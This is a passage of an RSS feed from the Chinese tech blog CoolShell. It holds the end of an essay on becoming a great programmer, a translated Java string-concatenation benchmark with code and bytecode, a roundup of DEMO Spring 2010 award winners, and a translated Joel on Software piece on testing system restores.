Bullets</a>》（没有银弹）中确立了如何发现杰出的软件设计者的三步规划：</p>\n<ul>\n<li>尽早系统地识别出最好的设计者群体。</li>\n<li>指派一个事业上的导师负责有潜质的对象的发展，小心地帮他保持职业生涯的履历。</li>\n<li>让成长中的设计师们有机会互相影响，互相激励。</li>\n</ul>\n<p>这实际上是假定了有些人本身就具有成为杰出设计师的必要潜质；要做的只是引导他们前进。<a href=\"http://www-pu.informatik.uni-tuebingen.de/users/klaeren/epigrams.html\" target=\"_blank\">Alan Perlis</a>说得更简洁：“每个人都可以被教授如何雕塑；而对米开朗基罗来说，能教给他的倒是怎样能够不去雕塑。杰出的程序员也一样”。</p>\n<p>所以尽管去买那些Java书；你很可能会从中找到些用处。但你的生活，或者你作为程序员的真正的专业技术，并不会因此在24小时、24天甚至24个月内发生真正的变化。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/9543.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/04/weibo-150x150.jpg\" alt=\"“C++的数组不支持多态”？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9543.html\" class=\"wp_rp_title\">“C++的数组不支持多态”？</a></li><li ><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"对技术的态度\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_title\">对技术的态度</a></li><li ><a href=\"https://coolshell.cn/articles/5388.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" alt=\"C语言中史上最愚蠢的Bug\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5388.html\" class=\"wp_rp_title\">C语言中史上最愚蠢的Bug</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2250.html\">“21天教你学会C++”</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2250.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>194</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>JAVA的字符串拼接与性能</title>\n\t\t<link>https://coolshell.cn/articles/2235.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2235.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Neo]]></dc:creator>\n\t\t<pubDate>Sun, 28 Mar 2010 01:42:14 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Java语言]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2235</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>概述：本文主要研究的是JAVA的字符串拼接的性能，原文中的测试代码在功能上并不等价，导致concat的测试意义不大。不过原作者在评论栏给了新的concat结果，...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2235.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2235.html\">JAVA的字符串拼接与性能</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong>概述：</strong>本文主要研究的是JAVA的字符串拼接的性能，原文中的测试代码在功能上并不等价，导致concat的测试意义不大。不过原作者在评论栏给了新的concat结果，如果有兴趣的同学建议自己修改代码测试。</p>\n<p>原文出处:<a href=\"http://www.venishjoe.net/2009/11/java-string-concatenation-and.html\">http://www.venishjoe.net/2009/11/java-string-concatenation-and.html</a></p>\n<p>在JAVA中拼接两个字符串的最简便的方式就是使用操作符&#8221;+&#8221;了。如果你用&#8221;+&#8221;来连接固定长度的字符串，可能性能上会稍受影响，但是如果你是在循环中来&#8221;+&#8221;多个串的话，性能将指数倍的下降。假设有一个字符串，我们将对这个字符串做大量循环拼接操作，使用&#8221;+&#8221;的话将得到最低的性能。但是究竟这个性能有多差？如果我们同时也把StringBuffer,StringBuilder或String.concat()放入性能测试中，结果又会如何呢？本文将会就这些问题给出一个答案！<br />\n<span id=\"more-2235\"></span></p>\n<p>我们将使用<a href=\"http://perf4j.codehaus.org/index.html\">Per4j</a>来计算性能，因为这个工具可以给我们一个完整的性能指标集合，比如最小，最大耗时，统计时间段的标准偏差等。在测试代码中，为了得到一个准确的标准偏差值，我们将执行20个拼接&#8221;*&#8221;50,000次的测试。下面是我们将使用到的拼接字符串的方法：</p>\n<ul>\n<li>Concatenation Operator (+)</li>\n<li>String concat method &#8211; concat(String str)</li>\n<li>StringBuffer append method &#8211; append(String str)</li>\n<li>StringBuilder append method &#8211; append(String str)</li>\n</ul>\n<p>最后，我们将看看字节码，来研究这些方法到底是如何执行的。现在，让我们先开始来创建我扪的类。注意为了计算每个循环的性能，代码中的每段测试代码都需要用Per4J库进行封装。首先我们先定义迭代次数</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\nprivate static  final int  OUTER_ITERATION=20;\nprivate static final int INNER_ITERATION=50000;\n</pre>\n<p>接下来，我们将使用上述4个方法来实现我们的测试代码。</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\n  \tString addTestStr = &quot;&quot;;\n  \tString concatTestStr = &quot;&quot;;\n  \tStringBuffer concatTestSb = null;\n  \tStringBuilder concatTestSbu = null;\n  \t \n  \tfor (int outerIndex=0;outerIndex&lt;=OUTER_ITERATION;outerIndex++) {\n  \t    StopWatch stopWatch = new LoggingStopWatch(&quot;StringAddConcat&quot;);\n  \t    addTestStr = &quot;&quot;;\n  \t    for (int innerIndex=0;innerIndex&lt;=INNER_ITERATION;innerIndex++)\n  \t    addTestStr += &quot;*&quot;;\n  \t    stopWatch.stop();\n  \t}       \n  \t \n  \tfor (int outerIndex=0;outerIndex&lt;=OUTER_ITERATION;outerIndex++) {\n  \t    StopWatch stopWatch = new LoggingStopWatch(&quot;StringConcat&quot;);\n  \t    concatTestStr = &quot;&quot;;\n  \t    for (int innerIndex=0;innerIndex&lt;=INNER_ITERATION;innerIndex++)\n  \t    concatTestStr.concat(&quot;*&quot;);\n  \t    stopWatch.stop();\n  \t}\n  \t \n  \tfor (int outerIndex=0;outerIndex&lt;=OUTER_ITERATION;outerIndex++) {\n  \t    StopWatch stopWatch = new LoggingStopWatch(&quot;StringBufferConcat&quot;);\n  \t    concatTestSb = new StringBuffer();\n  \t    for (int innerIndex=0;innerIndex&lt;=INNER_ITERATION;innerIndex++)\n  \t    concatTestSb.append(&quot;*&quot;);\n  \t    stopWatch.stop();\n  \t}\n  \t \n  \tfor (int outerIndex=0;outerIndex&lt;=OUTER_ITERATION;outerIndex++) {\n  \t    StopWatch stopWatch = new LoggingStopWatch(&quot;StringBuilderConcat&quot;);\n  \t    concatTestSbu = new StringBuilder();\n  \t    for (int innerIndex=0;innerIndex&lt;=INNER_ITERATION;innerIndex++)\n  \t    concatTestSbu.append(&quot;*&quot;);\n  \t    stopWatch.stop();\n  \t}\n</pre>\n<p>接下来通过运行程序来生成性能指标。我的运行环境是64位的Windown7操作系统，32位的JVM(7-ea) 带4GB内存，双核Quad 2.00GHz的CPU的机器.</p>\n<p>经过20次迭代后，我们得到如下的数据：<br />\n<img decoding=\"async\" loading=\"lazy\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2010/03/String_Perf_Chart_217.png\" title=\"结果\" class=\"alignnone\" width=\"586\" height=\"351\" /></p>\n<p>结果非常完美如我们想象的那样。唯一比较有趣的事情是为什么String.concat也很不错，我们都知道，String是一个常类（初始化后就不会改变的类），那么为什么concat的性能会更好一些呢。(<strong>译者注</strong>：其实原文作者的测试代码有问题，对于concat()方法的测试代码应该写成concatTestStr=concatTestStr.concat(&#8220;*&#8221;)才对。)为了回答这个问题，我们应该看看concat反编译出来的字节码。在本文的下载包里面包含了所有的字节码，但是现在我们先看一下concat的这个代码片段：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\n    46:  new #6; //class java/lang/StringBuilder\n    49:  dup\n    50:  invokespecial   #7; //Method java/lang/StringBuilder.&quot;&lt;init&gt;&quot;:()V\n    53:  aload_1\n    54:  invokevirtual   #8; //Method java/lang/StringBuilder.append:\n             (Ljava/lang/String;)Ljava/lang/StringBuilder;\n    57:  ldc #9; //String *\n    59:  invokevirtual   #8; //Method java/lang/StringBuilder.append:\n             (Ljava/lang/String;)Ljava/lang/StringBuilder;\n    62:  invokevirtual   #10; //Method java/lang/StringBuilder.toString:()\n             Ljava/lang/String;\n    65:  astore_1\n    66:  iinc    7, 1\n    69:  goto    38\n</pre>\n<p>这段代码是String.concat()的字节码，从这段代码中，我们可以清楚的看到，concat()方法使用了StringBuilder，concat()的性能应该和StringBuilder的一样好，但是由于额外的创建StringBuilder和做.append(str).append(str).toString()的操作，使得concate的性能会受到一些影响，所以StringBuilder和String Cancate的时间是1.8和3.3。</p>\n<p>因此，即时在做最简单的拼接时，如果我们不想创建StringBuffer或StringBuilder实例使，我们也因该使用concat。但是对于大量的字符串拼接操作，我们就不应该使用concat(<strong>译者注：</strong>因为测试代码功能上并不完全等价，更换后的测试代码concat的平均处理时间是1650.9毫秒。这个结果在原文的评论里面。)，因为concat会降低你程序的性能，消耗你的cpu。因此，在不考虑线程安全和同步的情况下，为了获得最高的性能，我们应尽量使用StringBuilder</p>\n<p>本文的源代码，编译目标文件和字节码可以通过下面的这个链接获得：</p>\n<p>下载源代码，类和字节码：<a herf=\"http://www.box.net/shared/hzl48ma8ne\">String_Concatenation _Performance.zip</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/11541.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"面向GC的Java编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11541.html\" class=\"wp_rp_title\">面向GC的Java编程</a></li><li ><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"从LongAdder看更高效的无锁实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_title\">从LongAdder看更高效的无锁实现</a></li><li ><a href=\"https://coolshell.cn/articles/11175.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/cow-copy-150x150.jpg\" alt=\"Java中的CopyOnWrite容器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11175.html\" class=\"wp_rp_title\">Java中的CopyOnWrite容器</a></li><li ><a href=\"https://coolshell.cn/articles/9703.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/图1-3-150x150.jpg\" alt=\"无锁HashMap的原理与实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9703.html\" class=\"wp_rp_title\">无锁HashMap的原理与实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2235.html\">JAVA的字符串拼接与性能</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2235.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>20</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>DEMO Spring 2010 获奖产品</title>\n\t\t<link>https://coolshell.cn/articles/2191.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2191.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[jnj]]></dc:creator>\n\t\t<pubDate>Sat, 27 Mar 2010 23:44:21 +0000</pubDate>\n\t\t\t\t<category><![CDATA[业界新闻]]></category>\n\t\t<category><![CDATA[Demo Spring]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2191</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>文章来源 mashable.com 在刚刚结束的 DEMO Spring 2010 中，执行制作人 Matt Marshall 宣布了获得 DEMO 大奖的各类...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2191.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2191.html\">DEMO Spring 2010 获奖产品</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"http://mashable.com/2010/03/23/demo-god-awards/?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed%3A+Mashable+(Mashable)&amp;utm_content=Google+Reader\"><em>文章来<em>源</em> mashable.com</em></a></p>\n<p>在刚刚结束的 <a href=\"http://demo.com/\" target=\"_blank\">DEMO Spring 2010</a> 中，执行制作人 Matt Marshall 宣布了获得 DEMO 大奖的各类 IT 产品，以及由大众评选出的最佳产品，作为奖品， DEMO 将为该产品提供价值100万美元的 <a href=\"www.idg.com\">IDG</a> 广告宣传。以下是各类奖项的归属：</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2010/03/Zosh.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"size-medium wp-image-2210 alignright\" src=\"https://coolshell.cn/wp-content/uploads/2010/03/Zosh-300x185.jpg\" alt=\"\" width=\"300\" height=\"185\" /></a> <strong>移动产品 <a href=\"http://zosh.com/\" target=\"_blank\">Zosh</a></strong></p>\n<p>Zosh 是一个 iPhone 应用。有了Zosh，你无需使用扫描仪或者传真机即可实现对文档签名，Zosh支持的文档格式有：PDF，Office，以及图像文档。点此处查看 <em><a href=\"http://mashable.com/2010/03/22/zosh/\">产品详情</a></em>。</p>\n<p>具体操作方法：</p>\n<p>1. 打开邮件中的附件文档，将其发送至Zosh（本地）。</p>\n<p>2. 在Zosh中打开该文档，使用手写输入签名。</p>\n<p>3. 将签名作为一个“图层”合并到文档中。</p>\n<p><strong>社交和媒体产品 <a href=\"http://everloop.com/\" target=\"_blank\">Everloop</a></strong></p>\n<p>Everloop 是一个网络社交应用，目标用户是8到13岁的儿童。其现在是一个 White Label 产品（由一个公司开发，但由其他公司进行再包装和市场营销的产品），很快将会独立运营。</p>\n<p><span id=\"more-2191\"></span></p>\n<p><strong>基于云计算的产品 <a href=\"http://gwabbit.com/\" target=\"_blank\">Gwabbit</a></strong></p>\n<p>Gwabbit 已经两次获得 DEMO God 奖项。它的新产品 Gwabbit Cloud Sync 帮助你从 Outlook 和 Blackberry 邮件中提取发件人信息，然后通过 Gwabbit 服务保存和同步。</p>\n<p><strong>消费电子产品 <a href=\"http://phonehalo.com/\" target=\"_blank\">Phone Halo</a></strong></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2010/03/Phone_Halo.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignright\" src=\"https://coolshell.cn/wp-content/uploads/2010/03/Phone_Halo-300x124.jpg\" alt=\"\" width=\"300\" height=\"124\" /></a>Phone Halo 通过电子标签来管理你的手机、钥匙和钱包等贵重物品，在你有可能遗失它们的时候发出警报，从而大大降低遗失的概率。 点此处查看 <em><a href=\"http://mashable.com/2010/03/23/phone-halo/\">产品介绍</a></em>。</p>\n<p>Phone Halo 的工作方式大致如下：</p>\n<p>1. 在你的手机、钥匙和钱包等贵重物品上贴上有感应装置的电子标签。</p>\n<p>2. 在你的手机上安装 Phone Halo 应用程序。</p>\n<p>3. 当你忘记携带其中任何一项物品时，也就是你的手机无法感应到其他物品时，手机将会发出报警。如果你没有听到报警声，手机会发送电子邮件给你的亲朋好友，让他们来提醒你忘记了东西。</p>\n<p>（根据 Phone Halo 的预测或曰期望，在 2010 年的美国，将有五分之一的人遗失他们的手机，十分之一的人遗失他们的钱包，四分之一的人遗失他们的钥匙，看来该产品很有市场前景）</p>\n<p><strong>企业级应用 <a href=\"http://blueskieshms.com/\" target=\"_blank\">BlueSkies Hospitality</a> </strong></p>\n<p>BlueSkies Hospitality Restaurant 2.0 是一个餐饮行业解决方案，主要和 OpenTable 争夺市场。</p>\n<p><strong>概念产品 <a href=\"http://uppymedia.com/\" target=\"_blank\">UppyMedia TAGtheLOOK</a></strong></p>\n<p>TAGtheLOOK 是一个 Facebook 应用，它可以让你在自己或者朋友的时装照片上贴上标签，并且与其他人分享这些标签来展示你的时尚品味。这个应用能给网上时尚商店带来潜在的商机。</p>\n<p><strong>大众评选产品 <a href=\"http://exaudios.com/\" target=\"_blank\">eXaudios MagInify Call Center</a></strong></p>\n<p><a href=\"../wp-content/uploads/2010/03/MagInify11.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignright\" src=\"../wp-content/uploads/2010/03/MagInify11-300x108.jpg\" alt=\"\" width=\"300\" height=\"108\" /></a>MagInify 是这样一个工具，它能够解码客户讲话的声音和音调，以判断客户情绪的好坏，从而帮助呼叫中心和客服人员分析统计服务质量，发现不足。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/29.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/03/01-150x150.gif\" alt=\"读后感：真正编程的力量\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/29.html\" class=\"wp_rp_title\">读后感：真正编程的力量</a></li><li ><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png\" alt=\"如何免费的让网站启用HTTPS\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_title\">如何免费的让网站启用HTTPS</a></li><li ><a href=\"https://coolshell.cn/articles/399.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/04/sort-150x150.jpg\" alt=\"一个排序算法比较的网站\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/399.html\" class=\"wp_rp_title\">一个排序算法比较的网站</a></li><li ><a href=\"https://coolshell.cn/articles/1962.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/4.jpg\" alt=\"纯CSS做的3D效果\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1962.html\" class=\"wp_rp_title\">纯CSS做的3D效果</a></li><li ><a href=\"https://coolshell.cn/articles/4561.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/11.jpg\" alt=\"对程序员职业的一些建议\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4561.html\" class=\"wp_rp_title\">对程序员职业的一些建议</a></li><li ><a href=\"https://coolshell.cn/articles/11629.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"「我只是认真」聊聊工匠情怀\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11629.html\" class=\"wp_rp_title\">「我只是认真」聊聊工匠情怀</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2191.html\">DEMO Spring 2010 获奖产品</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2191.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>1</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>别只谈系统备份，谈谈怎样恢复系统吧！</title>\n\t\t<link>https://coolshell.cn/articles/2155.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2155.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[jnj]]></dc:creator>\n\t\t<pubDate>Thu, 25 Mar 2010 00:16:20 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[系统备份]]></category>\n\t\t<category><![CDATA[系统管理]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2155</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>文章来源 JoelOnSoftware.com 很久以前就看到这篇文章，它给了我很深刻的印象，搜索了一下 JoelOnSoftware 的中文 Wiki，似乎也...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2155.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2155.html\">别只谈系统备份，谈谈怎样恢复系统吧！</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><em><a href=\"http://www.joelonsoftware.com/items/2009/12/14.html\">文章来源 JoelOnSoftware.com</a></em></p>\n<p><em>很久以前就看到这篇文章，它给了我很深刻的印象，搜索了一下 JoelOnSoftware 的中文 Wiki，似乎也没有此文的中文版，那就让酷壳来完成吧。</em></p>\n<ul>\n<li>你备份你的系统了吗？</li>\n<li>你备份服务器了吗？</li>\n<li>你的备份是否存放在另一台机器中？</li>\n<li>你是否有异地备份？</li>\n</ul>\n<p>以上都是非常好的问题，也都是很好的备份习惯。</p>\n<p>不过，让我们别再只谈备份了，因为仅仅备份是远远不够的。资深的系统管理员们都会告诉你他们有完美的备份计划，但是问题往往发生在当你需要恢复系统的时候：</p>\n<ul>\n<li>备份文件被密钥加密，而遗失或损坏的恰恰就是存放密钥的那台机器。</li>\n<li>存放着大量配置信息的 IIS 元数据库恰好没有备份。</li>\n<li>备份文件一直被拷贝到一个限量2GB的FAT分区，多出来的数据被默默地抛弃掉了。</li>\n<li>你的备份都在一个LTO磁带上，磁带已经和数据中心一起遗失或损坏了（911？）。</li>\n<li>即便你有了备份，仍有可能遇到许许多多的意外情况。</li>\n</ul>\n<p>所以，保证基本的系统安全不仅仅取决于你做了备份，还在于你是否能够成功恢复备份。如果你在运营一个 WEB 服务，你需要向我展示你能够在合理的时间内，在一台新的服务器或者是和原来的数据没有任何关系的服务器上，使用近期备份的数据还原出整个网站。</p>\n<p>让我们不要再问人们是否做了系统备份，而是问他们是否能够恢复系统。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/1684.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/11/color_codes-150x150.png\" alt=\"把ASCII图转成图片\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1684.html\" class=\"wp_rp_title\">把ASCII图转成图片</a></li><li ><a href=\"https://coolshell.cn/articles/12225.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/12/1053-DHH-150x150.jpg\" alt=\"DHH 谈混合移动应用开发\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12225.html\" class=\"wp_rp_title\">DHH 谈混合移动应用开发</a></li><li ><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/03/linux.ninja_-150x150.png\" alt=\"打造高效的工作环境 &#8211; Shell 篇\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19219.html\" 